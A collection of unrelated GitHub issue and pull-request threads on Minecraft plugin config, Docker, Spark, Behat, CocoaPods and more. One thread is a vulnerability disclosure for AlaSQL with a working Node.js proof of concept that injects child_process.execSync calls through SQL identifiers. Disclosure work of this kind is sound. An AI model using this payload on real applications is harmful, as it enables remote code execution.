      pufferfish:
        income: 25.0
        points: 25.0
        experience: 25.0
    Kill:
      Player:
        income: 7.5
        points: 7.5
        experience: 7.5
  Weaponsmith:
    fullname: Armeiro
    shortname: W
    description: Ganha dinheiro com a fabricação e o reparo de armas.
    ChatColour: DARK_PURPLE
    chat-display: full
    max-level: 200
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    rejoinCooldown: 10
    maxDailyQuests: 1
    Quests:
      '1':
        Name: A guerra nunca acaba
        Objectives:
        - Craft;wooden_sword;2
        - Craft;iron_chestplate;2
        - Craft;gold_leggings;2
        RewardCommands:
        - money give [playerName] 100
        - msg [playerName] Missão completada!
        RewardDesc:
        - Crie armas e ganhe dinheiro
        - Ganhe 100$ por isso!

    ChatColour: LIGHT_PURPLE
    chat-display: full
    max-level: 200
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    rejoinCooldown: 10
    maxDailyQuests: 1
    Quests:
      '1':
        Name: Bebedor pesado
        Objectives:
        - Brew;glowstone_dust;2
        - Brew;redstone;2
        - Brew;sugar;2
        RewardCommands:
        - money give [playerName] 100
        - msg [playerName] Missão completada!
        RewardDesc:
        - Prepare algumas coisas e ganhe dinheiro
        - Ganhe 100$ por isso!

    ChatColour: DARK_BLUE
    chat-display: full
    max-level: 200
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    rejoinCooldown: 10
    maxDailyQuests: 1
    Quests:
      '1':
        Name: Harry o mago
        Objectives:
        - Enchant;wood_sword;1
        - Enchant;diamond_sword;1
        - Enchant;ARROW_DAMAGE;1
        RewardCommands:
        - money give [playerName] 100
        - msg [playerName] Missão completada!
        RewardDesc:
        - Seja um mago e ganhe dinheiro
        - Ganhe 100$ por isso!
    Gui:
      Id: 116
      Data: 0
    Enchant:
      wood_sword:
        income: 1.5
        points: 1.5
        experience: 3.0
      leather_boots:
        income: 1.0
        points: 1.0
        experience: 6.0
      leather_chestplate:
        income: 2.0
        points: 2.0
        experience: 6.0
      leather_helmet:
        income: 1.0
        points: 1.0
        experience: 6.0
      leather_leggings:
        income: 2.0
        points: 2.0
        experience: 6.0
      iron_sword:
        income: 3.0
        points: 3.0
        experience: 6.0
      iron_boots:
        income: 2.5
        points: 2.5
        experience: 9.0
      iron_chestplate:
        income: 4.5
        points: 4.5
        experience: 9.0
      iron_helmet:
        income: 2.5
        points: 2.5
        experience: 9.0
      iron_leggings:
        income: 4.5
        points: 4.5
        experience: 9.0
      gold_sword:
        income: 4.5
        points: 4.5
        experience: 15.0
      gold_boots:
        income: 2.5
        points: 2.5
        experience: 15.0
      gold_chestplate:
        income: 5.5
        points: 5.5
        experience: 15.0
      gold_helmet:
        income: 2.5
        points: 2.5
        experience: 15.0
      gold_leggings:
        income: 5.5
        points: 5.5
        experience: 15.0
      diamond_sword:
        income: 9.0
        points: 9.0
        experience: 30.0
      diamond_spade:
        income: 5.0
        points: 5.0
        experience: 30.0
      diamond_pickaxe:
        income: 10.0
        points: 10.0
        experience: 30.0
      diamond_axe:
        income: 10.0
        points: 10.0
        experience: 30.0
      diamond_helmet:
        income: 6.0
        points: 6.0
        experience: 30.0
      diamond_chestplate:
        income: 12.0
        points: 12.0
        experience: 50.0
      diamond_leggings:
        income: 12.0
        points: 12.0
        experience: 50.0
      diamond_boots:
        income: 6.0
        points: 6.0
        experience: 30.0
  None:
    fullname: None
    shortname: N
    ChatColour: WHITE
    chat-display: none
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))

Try to reset your database, by deleting it.


glibc 2.34 updates break Container Images

Description
The Ubuntu Hosts have a broken implementation of Docker which is in some operating systems already fixed through patches. The problem is glibc 2.34 which introduced a new syscall.

openSUSE Bugzilla: https://bugzilla.suse.com/show_bug.cgi?id=1190670
Ubuntu Launchpad "Fix": https://launchpad.net/ubuntu/+source/glibc/2.34-0ubuntu3
Workaround found in the community: https://github.com/stanislavlevin/tox-console-scripts/commit/9b2d6e7f1fc9414fc965a2679afddb2fccf1d698

Virtual environments affected

[ ] Ubuntu 16.04
[ ] Ubuntu 18.04
[X] Ubuntu 20.04
[ ] macOS 10.15
[ ] macOS 11
[ ] Windows Server 2016
[ ] Windows Server 2019
[ ] Windows Server 2022

Image version and build link
Virtual Environment
Environment: ubuntu-20.04
Version: 20211004.1
Included Software: https://github.com/actions/virtual-environments/blob/ubuntu20/20211004.1/images/linux/Ubuntu2004-README.md
Image Release: https://github.com/actions/virtual-environments/releases/tag/ubuntu20%2F20211004.1

https://github.com/cobbler/cobbler/pull/2812/checks?check_run_id=3871779364
https://github.com/cobbler/cobbler/pull/2416/checks?check_run_id=3905996345

Examples:
make: /bin/sh: Operation not permitted
make: /bin/bash: Operation not permitted
make: /bin/bash: Operation not permitted
make: /bin/bash: Operation not permitted

or
---> Running in 8a2750d6d692
terminate called after throwing an instance of 'std::system_error'
  what():  Operation not permitted

Is it regression?
20210919.1
Expected behavior
Docker Containers can be used normally
Actual behavior
Syscall is blocked by the Host.
Repro steps

Add a GitHub Actions Workflow which uses Docker
Run an openSUSE Tumbleweed Image and try to use zypper for example.
See error

Duplicate of https://github.com/actions/virtual-environments/issues/4193


crashing in 1.7.10

the plugin is crashing my client in mc version 1.7.10

can you send your crash error in your client logs and are you sure you are using latest version of StrikePractice with it?

This is most likely caused by other plugins using scoreboards. For example, colored name tags work with scoreboards.
Both StrikePractice and StrikeTab use the server main thread to actually modify the scoreboard teams so they should not conflict with each other or other plugins following this rule:
https://github.com/toppev/strike-tab/blob/6bce8715e46bb9cce2aae26b42242cb123127bbf/src/main/kotlin/updater/TabbedTabUpdater.kt#L105-L107

i am using protocolsupport to be able to join in 1.7, could that be the reason?

yes it actually could but i do the same thing and i never crashed like that. sending your other plugin list and crash error could be helpful enough to spot the issue.


Iterate on data type/format and concept implementation of step 2

Description
We simplified the implementation around data types, formats and concepts for the first iteration of step 2. We'll do a number of iterations on this until we get to a UX implementation that fully supports our goals, and the capabilities of Fiscal Data Package mapping.
Tasks

[x] The user can change an inferred type for any column. When a user changes an inferred type:

[x] Recheck that the column is actually of this type (can take a sample of one value and check)
[x] If the user has selected a type that is invalid, don't allow the change, and show the user an error message for her action

[x] By default, almost all values will be inferred by jsontableschema.infer as integers or strings. However, we want to be more precise on this, updating the type based on concepts the user chooses.

[x] When the user selects a concept, update the type to that which matches the concept
[x] If the user has selected a concept that leads to an invalid type, don't allow the change, and show the user an error message for her action
[x] Type <-> Concept mapping

[x] Amount <-> Decimal

[x] The output mapping objects, which are dimensions, should all have a dimensionType property

PR https://github.com/openspending/fiscal-data-packager/pull/31
@pwalsh I decided to implement this without showing any dialogs to users. Current idea is:

Detect set of possible types for each column (based on few first rows). That automatically implements first three items of this task - user cannot select invalid type for column. Also, inferred type will be present in this list because jsontableschema used to create that list. Also, situation when list is empty is impossible - at least string type will be present.
Each concept (as object in the app) has a list of possible data types for this concept. So, for each column create list of concepts based on allowed types for this columns. So now user cannot select invalid concept for column.
And the last thing - when user selects a concept for column, update type for this column and restrict list of allowed types. So, now user can select only type that is allowed for data in this column and for selected concept. When user deselects concept, list of types (and column type) is also reset to previous state.

This three things allows always get valid combinations for column type and concept, and I hope it will be easy to user to understand what is happening in the app. Also, I need your opinion about that (when you try it :)

@kravets-levko looks great!


Code Injection Vulnerability During Processing Literal

Hi, I found a potential code injection vulnerability in the latest version (0.6.5) of AlaSQL.
Proof of Concept
Browser
http://jsfiddle.net/msoc7kL8/
Node.js
const alasql = require('alasql');

const genPayload = command => `
new Function(
    'return this.process.mainModule.require'
)()('child_process').execSync(${JSON.stringify(command)})
`;

res = alasql(
    // Initialize the database
    'CREATE table i_am_a_table;' +
    `INSERT INTO i_am_a_table VALUES (1337);` +

    // Code injection in four different ways
    `UPDATE i_am_a_table SET [0'+${genPayload(">&2 echo UPDATE pwned $(whoami)")}+']=42;` +
    `SELECT * from i_am_a_table where whatever=['+${genPayload(">&2 echo SELECT pwned $(whoami)")}+'];` +
    `SELECT \`'+${genPayload(">&2 echo SELECT pwned again, back-quote works too. $(whoami)")}+'\` from i_am_a_table where 1;` +
    `SELECT [whatever||${genPayload('>&2 echo calling function pwned')}||]('whatever');`
);

Description
AlaSQL doesn't restrict the characters in square brackets [ ] or back-quote ` by design, that's fine. But when we compile the SQL query to JavaScript code, those strings are concatenation into the generated JavaScript directly without any sanitization or escape, which can cause a code injection vulnerability.
For example, in the UPDATE PoC for browser, we can reference to the following code:
https://github.com/agershun/alasql/blob/75846cfb85f717c70e2a6f316303b2881febd81a/src/74update.js#L58-L62
In this case, the col.column.columnid is 0'+alert("UPDATE pwned")+', and this string are directly concat into variable s in line 59. After that, the variable s are being appended to the functionBody argument for that new Function in line 62.  Now, the alert statement will be execute when executing this SQL query.
Summary
Through this code injection vulnerability, if an attacker can control the SQL query (no matter it's a by design feature or via SQL injection), then it might lead to a XSS in browser, or even RCE (remote code execution) in node.js application.

That is a great point. Thank you for identifying this.

@splitline Thank you for the time to look into this. It has been fixed and is not released as v0.7.0. I am notifying the different platforms to request updates when people install.
Is it a good fix? hmm. It makes sure you cant have ' in the litterals. There where too many places where its concatenated directly into the code for a fast fix to be pushed out. I will discuss with @agershun if we are to fix in a deeper level in this version or will wait for next version of AlaSQL.

@splitline I have been asked to remove your proof of concept until the new version has been rolled out to a majority of the users.

Hi  @mathiasrw .
Maybe we should add some security policy for AlaSQL, thus people can know how to report security issues in a better way.
For example, maybe we should report vulnerabilities via email.

@splitline Its a good idea. We never had anything like this before so trying to figure it out as we go along...

Original comment restored as the PoC is available on https://snyk.io/vuln/SNYK-JS-ALASQL-1082932 anyway.

@mathiasrw
Besides bumped patch, you can also use Security Advisories feature in GitHub if you need.
By the way, I found some other potential vulnerabilities, is there any better way for me to report that?

You are very welcome to send an email to<EMAIL_ADDRESS>I have also found some weak points and we need to rethink how we do some of the core aspects. Thank you for digging so deep.

Hm, it's weird, I think I sent to the correct email.

I've sent the PoC with my another email (splitline.cs09g [at] nctu.edu.tw) to you.

Found it!


[DCM-KIT] Onboarding for DCM Access

Description

General & Individual Prerequisites for accessing DCM Use Case.
Identifying and Adressing Dependencies to other (Expert) Groups.
Impact

Identify and adress Dependencies to general Catena-X Working Groups e.g. BPDM / EDC Team / Legal / ASN Group; they need to be explored.
Additional information

[x] I'm willing to contribute to this feature

I am willing to contribute to this feature.

Im am willing to contribute

I am willing to contribute to this feature.

Identify Dependencies / Overlaps to other Catena-X Working Groups (e.g. BPDM / EDC Team / Legal / ASN Group)
Clarify Dependencies / Overlaps to other Catena-X Working Groups (e.g. BPDM / EDC Team / Legal / ASN Group)
https://catena-x.net/de/standard-library
Capability "Onboarding"

Hello @MWADCM ,
Since the feature is a 24.08 feature and the development phase is coming to an end, we need a status on the feature.

[ ] Currently you are assigned (Responsible) → Is this correct? If not, please assign the correct contact person
[ ] Please check whether the status (backlog, work in progress ...) is set correctly
[ ] Please check whether there is an assignment to a committee or expert group (supported-by) to be found on the board
[ ] Please comment on the current status of the feature
[ ] Are all SubTasks (issues from other repositories that deal with the feature) linked? → The easiest way is to mention the feature here in the issue (via the ID) so we can see which teams/repositories are involved.

If you need any clarification, please get in touch, thank you very much.
Stephan

Hello @MWADCM
In a few weeks, we want to publish Tractus-X Release 24.08. For this, we need a clear status about the features (which will be included in the release and which will be cancelled or postponed to the next release).
Currently, the feature is still in status Work in progress. Please update the status by 09.07.24 eob.
If the feature is not ready for release 24.08, or it is possibly not planned at all, please set the status to Not in release. Please remember that in this case, any dependent components must be informed.
Thank you and best regards.


Spring Object

Spring thing.

Vector3 bounceForce                                                     : initial bounce impulse force.
float springActiveTime;                                                  : spring cooldown / how long force is applied to player.
std::map<const GameObject*, float> pushableObject; : handles cooldown and active time per player.
bool continuous                                                             : enables continuous force application upon player colliding with spring.
Vector3 continuousForce                                               : force applied over specified time.

There's also some test objects in the states.

Good job on the code! Very pleased with how fast you got this done and the jump pads have a few different angles they can shoot out at which is always appreciated. They're going to make the levels very dynamic and that's always good.
Just a few style changes that need to be made but that's par for the course.
Nicely done on figuring out the thigns in running state, game state, and replicated. The networking code is no joke. Once done, ill have you look at graphics as well since it's graphics sprint next.
Excellent stuff :]


Home page recent submissions potentially retrieves new collections and communities

Describe the bug
When testing in an new repository with just 1 item, with the recent submissions in home page enabled, objects other than items are also retrieved in the search and this causes for an error that prevents the submissions from loading
To Reproduce
Steps to reproduce the behavior:

It can only be reproduced with very small number of items (less that the page configured)
Access home page and an error prevents the submissions from loading

Error:

0|dspace-ui  | ERROR Error: followLink('thumbnail') was used as a required link for a Collection, but there is no property on Collection models with an @link() for thumbnail
0|dspace-ui  |     at LinkService.resolveLinkWithoutAttaching (/home/dspace/apollo-frontend/dist/server/main.js:1:1136693)
0|dspace-ui  |     at LinkService.resolveLink (/home/dspace/apollo-frontend/dist/server/main.js:1:1137020)
0|dspace-ui  |     at /home/dspace/apollo-frontend/dist/server/main.js:1:1135145
0|dspace-ui  |     at Array.forEach ()
0|dspace-ui  |     at LinkService.resolveLinks (/home/dspace/apollo-frontend/dist/server/main.js:1:1135117)
0|dspace-ui  |     at /home/dspace/apollo-frontend/dist/server/main.js:1:1141119
0|dspace-ui  |     at /home/dspace/apollo-frontend/dist/server/main.js:1:7051744
0|dspace-ui  |     at OperatorSubscriber2._this._next (/home/dspace/apollo-frontend/dist/server/main.js:1:6973339)
0|dspace-ui  |     at OperatorSubscriber2.Subscriber2.next (/home/dspace/apollo-frontend/dist/server/main.js:1:6924302)
0|dspace-ui  |     at /home/dspace/apollo-frontend/dist/server/main.js:1:7051893

Expected behavior
Only items are retrieved when searching
Related work
Link to any related tickets or PRs here.

This can be fixed by configuring the search call here: https://github.com/DSpace/dspace-angular/blob/485bb840ce7f8cb6e92537de4fba1b2f9e84de6d/src/app/home-page/recent-item-list/recent-item-list.component.ts#L68 to only retrieve Items (dsoTypes: [DSpaceObjectType.ITEM],).
Once this bug is confirmed I can try a simple pull request :)


[SPARK-29165][SQL][TEST] Set log level of log generated code as ERROR in case of compile error on generated code in UT

What changes were proposed in this pull request?
This patch proposes to change the log level of logging generated code in case of compile error being occurred in UT. This would help to investigate compilation issue of generated code easier, as currently we got exception message of line number but there's no generated code being logged actually (as in most cases of UT the threshold of log level is at least WARN).
Why are the changes needed?
This would help investigating issue on compilation error for generated code in UT.
Does this PR introduce any user-facing change?
No.
How was this patch tested?
N/A

Test build #110940 has started for PR 25835 at commit b78d0e0.

Can one of the admins verify this patch?

plz file a jira for better traceability?

OK I'll file one. Thanks for the guide.

Thanks!

cc: @cloud-fan @viirya

Test build #110953 has started for PR 25835 at commit d836138.

@dongjoon-hyun do you know how to re-trigger the github checks? One of them fails and it seems flaky.

Test build #110940 has finished for PR 25835 at commit b78d0e0.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/110940/
Test PASSed.

Test build #110953 has finished for PR 25835 at commit d836138.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/110953/
Test PASSed.

@cloud-fan . Yes. I knew it and retriggered before in another PRs, but the current UI seems to have a bug. In general, click the Details. Then,  Recheck all ... button should be there in the same position where Cancel check suite exists. It looks like GitHub Action bug. I'll try to report it GitHub Action community.

Thanks all for reviewing and merging!


Make AuthTokenRetrieverLib fire an event on success

Not sure why this didn't occur to me sooner.  But before I start, let me first give a quick rundown of how this works:

Userland calls AuthTokenRetrieverLib.AwaitCallback().
A rudimentary webserver is launched (default port is 8080) on a new thread to receive the callback at the end.  It'll just sit and wait until it receives the token data,.  This runs concurrently with the main thread.
Userland opens a web browser and points it to the result of AuthTokenRetrieverLib.AuthURL().
The user clicks the allow button in the browser to authorize the app on Reddit's end.
The user is redirected to the app's "redirect uri" (set in your app preferences on Reddit's website); which, if you're using AuthTokenRetriever, should be set to http://localhost:8080/Reddit.NET/oauthRedirect.
The webserver thread receives the request and generates a page that displays your newly-acquired token data.
The token data is automatically populated into the appropriate AuthTokenRetrieverLib properties, which can then be accessed from userland.  The only way to know this has happened is to periodically check those properties to see if they've been set yet.
The webserver terminates and the workflow is complete.

It's that part in bold that I aim to fix here.  If that webserver thread were to fire an event with the token data in the EventArgs before it terminates, userland can then consume that event and execute the appropriate code in the event handler.  I'll make sure this feature is included in the next release.

Merged into 1.5.


to_unix truncates seconds

I noticed that the replacement methods for the old "to_second" function seems to truncate the DateTime to seconds.
I'm not sure this is desirable default behavior since there is some loss of data and no fine-grained control for the developer.
Steps to reproduce

API function called
Arguments provided

Timex.now |> Timex.to_unix
1469770928
In Timex 2.x it used to be:
use Timex
Time.now |> Time.to_seconds
1469771537.370013
Description of issue

What are the expected results?
option to not truncate timestamps by default?

to_unix doesn't have a counterpart to to_gregorian_milliseconds
it also doesn't match Elixir's default behavior with DateTime.to_unix
DateTime.to_unix(Timex.now, :microseconds)
1469780610645441

If you are certain this is a bug in Timex, do you have references I
can use to check the algorithm/logic against? For instance, a well-established
date/time library in another language, a paper, test suite, etc. It is by no
means a requirement, but is immensely helpful in fixing bugs, and provides me
extra data to use when building out the test suite

UNIX timestamps are always in seconds since the epoch, with no further precision. If you require high precision, you can use Timex.to_gregorian_microseconds(datetime) - Timex.to_unix(Timex.epoch), which will give you microseconds since the epoch.
However, adding an overload to to_unix which takes precision as an argument, to simplify this use case, is a good idea so that's something I'll add to my TODO list.


Confused by proof changes of followed person

Hi keybase :-)
I just spotted a red notification bar in my chat window:

All nice and good. But ... this is like a bug report saying 'something is wrong'.
For the future, you might want to provide a link in the message where I can
find out what proofs happen to have changed?
And as immediate questions:

should i now re-follow this person to make the message go away?
i'm guessing that when i clicked 'follow' the first time, what happened was that my keybase client took all public identities, signed them, and stored the whole thing somewhere. Where? I don't see it on my sigchain...
Can I dump such a signed statement? Can I diff it to the current state? (ie actually find out what triggered the warning)

Thank you for any help...
Germano

Any update on this? My eyes are bleeding.
I thought at some point it will expire, or at least we can acknowledge it. At least a button to make it go away.

help! so much red!


No easy option for creating lazy ring responses

When returning JSON from a ring server, generate-string works fine but requires setting up the whole response in memory at once. generate-stream is undoubtedly useful for other cases, but for this one requires figuring out how to hook a BufferedWriter up to an InputStream and presumably to execute generate-stream on another thread.
If there were a third option that either returned an InputStream or a lazy seq of strings (in the same manner that enlive does), this would make the ring use case much easier.

Endpoints from systems like ElasticSearch package results as multiple top level objects, which facilitates this.


BeforeHook Exceptions are not dumped to JUnit

If I have an exception somewhere in before* events, it will not be dumped into a file.
Hooks stats are collection into \Behat\Behat\Output\Statistics\TotalStatistics::$failedHookStats but \Behat\Behat\Output\Node\EventListener\JUnit\JUnitFeatureElementListener::printFeatureOnAfterEvent does not iterate over it.

The XSD can be found here https://github.com/Behat/Behat/tree/master/features/bootstrap/schema

@carlos-granados sorry for the slow reply.
I think I've understood right that we have one JUnit XML per suite, so like this?

Behat suite => testsuites root node
Behat feature => testsuite

I find it slightly hard to give an opinion without knowing how the junit would be parsed / rendered by a tool - I used Jenkins & JUnit in the past but haven't done for quite a long time.
My recollection though is that although our XSD types the errors etc attributes as "string", the common usage is that they are a number e.g. <testsuite name="some feature" tests="8" failures="0" errors="5"> where the number is the number of failed / errored tests (not the number of failures / errors, which may be higher). I'm not sure if clients expect that the errors number on a <testsuites> will always be the total of the numbers on the <testsuite> children.
There's documentation here that seems recent and matches what I roughly remember -  https://github.com/testmoapp/junitxml?tab=readme-ov-file#complete-junit-xml-example - I haven't really checked the source of that, just googled it...
I think:

For step / scenario hooks it would probably be more correct to use the <error> than  <failure> node - but if we're already using <failure> for step then it is probably better to be consistent.
For feature hooks, <system-err> is probably the right place for the output, but I guess clients might just treat that as informational / debug (it's officially any stderr output during the test) - so we would probably need to also increment one of the failures / errors attributes to have a tool recognise a failed run..
For suite hooks, I agree there's not really a logical place. Best idea I have is to just put it in the first <testsuite> - which at least correctly reflects when it happened?

Thanks @acoulton that more or less matches what I had in mind. Let me work on trying to implement this as best as possible

Actually, another thought (sorry, still drinking my coffee :laughing:).
Maybe it makes sense if if feature and suite hooks are reported as <error> in the first (for beforeXXX) or last (for afterXXX) <testsuite> they affect, incrementing the errors count on the parent nodes accordingly. I know from our side they're not really part of the scenario, but that logically reflects the execution sequence and it is probably the safest way to make sure a JUnit client recognises / understands / displays them in a way that is clear to users?
It looks like at the moment if a beforeFeature / beforeSuite hook fails we record the tests as skipped in JUnit. Maybe it would be more logical to record them as errored to show that we tried to run them, but were prevented by an error (rather than e.g. the test being skipped for some expected reason).
Don't know how hard that would be to implement though - and might be worth looking at how ant / JUnit / other JUnit-based tools handle cases like this, we can't be the only tool that supports some kind of pre / post hook?


changed requests to aiohttp

This fixes #2 .
I've also refactored this using pep8 formatter so that code will look clean.

Feel free to merge it then :>

Yes, there is one more PR I am also making with buttons and you made this today, so i'm making sure conflicts are not there.


Third Contribution by Medhavi SIngh

An article that talks about data science and operations research, specify difference between them and helps reader to understand the concepts clearly. It is a published article on GeeksforGeeks (a website dedicated to Computer Science enthusiasts) and have more than 3000 views till now.
https://www.geeksforgeeks.org/difference-between-data-science-and-operations-research/

@arliss-NF Here is my submission for third task.


Torchvision cuda version should match torch's cuda version

🐛 Bug
Torchvision 0.7.0+cu101 requires pytorch 1.6.0, but it should require 1.6.0+cu101 (or this is a poetry bug/feature).
To Reproduce
$ poetry  add https://download.pytorch.org/whl/cu101/torch-1.6.0%2Bcu101-cp38-cp38-linux_x86_64.whl
$ poetry  add https://download.pytorch.org/whl/cu101/torchvision-0.7.0%2Bcu101-cp38-cp38-linux_x86_64.whl
...
[SolverProblemError]
Because torchvision (0.7.0+cu101) depends on torch (1.6.0)
 and project depends on torch (1.6.0+cu101 url), torchvision is forbidden.
So, because project depends on torchvision (0.7.0+cu101 url), version solving failed.

Hi,
I believe this is a duplicate of https://github.com/pytorch/vision/issues/2310 .
It is not yet clear if this is a problem that should be fixed in torchvision.
Given that we already have a lot of useful points mentioned in #2310, I propose we continue the discussion there.


[backup] Support restore operation for recoveryservices vaults when using MUA

Related command

az backup restore
Description

Added support for restoring backup items inside resource-guard protected recoveryservices vaults. Also allows --tenant-id as input for cross-tenant scenarios.
Testing Guide

History Notes

[backup] az backup restore restore-disks: Add --tenant-id for cross-tenant MUA protection, otherwise allows restore when protected by a resourceguard
[backup] az backup restore restore-azurewl: Add --tenant-id for cross-tenant MUA protection, otherwise allows restore when protected by a resourceguard
[backup] az backup restore restore-azurefiles: Add --tenant-id for cross-tenant MUA protection, otherwise allows restore when protected by a resourceguard
[backup] az backup restore restore-azurefileshare: Add --tenant-id for cross-tenant MUA protection, otherwise allows restore when protected by a resourceguard

This checklist is used to make sure that common guidelines for a pull request are followed.

[x] The PR title and description has followed the guideline in Submitting Pull Requests.

[x] I adhere to the Command Guidelines.

[x] I adhere to the Error Handling Guidelines.

backup

Please fix CI issues


server: remove resource tags for disassociated public ip

Description
Fixes #6620
Remove resource tags when public IP is disassociated
Types of changes

[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] New feature (non-breaking change which adds functionality)
[x] Bug fix (non-breaking change which fixes an issue)
[ ] Enhancement (improves an existing feature and functionality)
[ ] Cleanup (Code refactoring and cleanup, that may add test cases)

Feature/Enhancement Scale or Bug Severity
Feature/Enhancement Scale

[ ] Major
[ ] Minor

Bug Severity

[ ] BLOCKER
[ ] Critical
[ ] Major
[ ] Minor
[ ] Trivial

Screenshots (if appropriate):
How Has This Been Tested?

@acs-robot a Jenkins job has been kicked to build UI QA env. I'll keep you posted as I make progress.

@blueorangutan package

@shwstppr a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

UI build: :heavy_check_mark:
Live QA URL: http://qa.cloudstack.cloud:8080/client/pr/6642 (SL-JID-2155)

Packaging result: :heavy_check_mark: el7 :heavy_check_mark: el8 :heavy_check_mark: debian :heavy_check_mark: suse15. SL-JID 3996

@blueorangutan test

@shwstppr a Trillian-Jenkins test job (centos7 mgmt + kvm-centos7) has been kicked to run smoke tests

Trillian test result (tid-4702)
Environment: kvm-centos7 (x2), Advanced Networking with Mgmt server 7
Total time taken: 36946 seconds
Marvin logs: https://github.com/blueorangutan/acs-prs/releases/download/trillian/pr6642-t4702-kvm-centos7.zip
Smoke tests completed. 101 look OK, 0 have errors
Only failed tests results shown below:

Test
Result
Time (s)
Test File


Extension causes bitbucket inbox to be blank

See image, after installing the extension the bitbucket inbox goes blank

I think it's the same issue as this PR fixes https://github.com/dragouf/Stash-Reviewers-Chrome-Extension/pull/46

merged and published.


CocoaPods error when upgrading to 3.17.3

Report

What did you do?
I run "pod update"

What did you expect to happen?
Just update the pods

What happened instead?
The installation fails, below there is the stack trace from cocoapods

Stack
   CocoaPods : 1.7.5
        Ruby : ruby 2.6.3p62 (2019-04-16 revision 67580) [universal.x86_64-darwin19]
    RubyGems : 3.0.3
        Host : Mac OS X 10.15 (19A526h)
       Xcode : 10.3 (10G8)
         Git : git version 2.20.1 (Apple Git-117)
Ruby lib dir : /System/Library/Frameworks/Ruby.framework/Versions/2.6/usr/lib
Repositories : master - https://github.com/CocoaPods/Specs.git @ 20f0ecb2d27ce25e3573074edce9f6212247610a

Plugins
cocoapods-deintegrate : 1.0.4
cocoapods-plugins     : 1.0.0
cocoapods-search      : 1.0.0
cocoapods-stats       : 1.1.0
cocoapods-trunk       : 1.3.1
cocoapods-try         : 1.1.0

Podfile
platform :ios, '10.0'

inhibit_all_warnings!

target 'App' do

  use_frameworks!

  pod 'Alamofire'
  pod 'AlignedCollectionViewFlowLayout'
  pod 'CarbonKit'
  pod 'Charts'
  pod 'Crashlytics'
  pod 'GoogleAnalytics'
  pod 'Google-Mobile-Ads-SDK'
  pod 'Fabric'
  pod 'Firebase'
  pod 'FirebaseMessaging'
  pod 'Firebase/DynamicLinks'
  pod 'Firebase/RemoteConfig'
  pod 'Hero'
  pod 'lottie-ios'
  pod 'RxCocoa'
  pod 'RxRealm'
  pod 'RxSwift'
  pod 'RxDataSources'
  pod 'RealmSwift'
  pod 'RxDataSources'
  pod 'RangeSeekSlider'
  pod 'SwiftyStoreKit'
  pod 'SwiftGifOrigin'
  pod 'SwipeCellKit'
  pod 'YoutubePlayer-in-WKWebView'
end

post_install do |installer|
  installer.pods_project.targets.each do |target|
    if target.name == 'RxSwift'
      target.build_configurations.each do |config|
        if config.name == 'Debug'
          config.build_settings['OTHER_SWIFT_FLAGS'] ||= ['-D', 'TRACE_RESOURCES']
        end
      end
    end
  end
end

Error
Errno::ENOENT - No such file or directory @ realpath_rec - /Users/userdir/app/Pods/Realm/Realm/RLMAccessor.h
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/project.rb:320:in `realpath'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/project.rb:320:in `realpath'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/project.rb:320:in `reference_for_path'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/project.rb:266:in `add_file_reference'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer/xcode/pods_project_generator/file_references_installer.rb:220:in `block (2 levels) in add_file_accessors_paths_to_pods_group'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer/xcode/pods_project_generator/file_references_installer.rb:219:in `each'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer/xcode/pods_project_generator/file_references_installer.rb:219:in `block in add_file_accessors_paths_to_pods_group'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer/xcode/pods_project_generator/file_references_installer.rb:210:in `each'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer/xcode/pods_project_generator/file_references_installer.rb:210:in `add_file_accessors_paths_to_pods_group'
/Library/Ruby/Gems/2.6.0/gems/cocoapods-1.7.5/lib/cocoapods/installer/xcode/pods_project_generator/file_references_installer.rb:93:in `block in add_source_files_references'
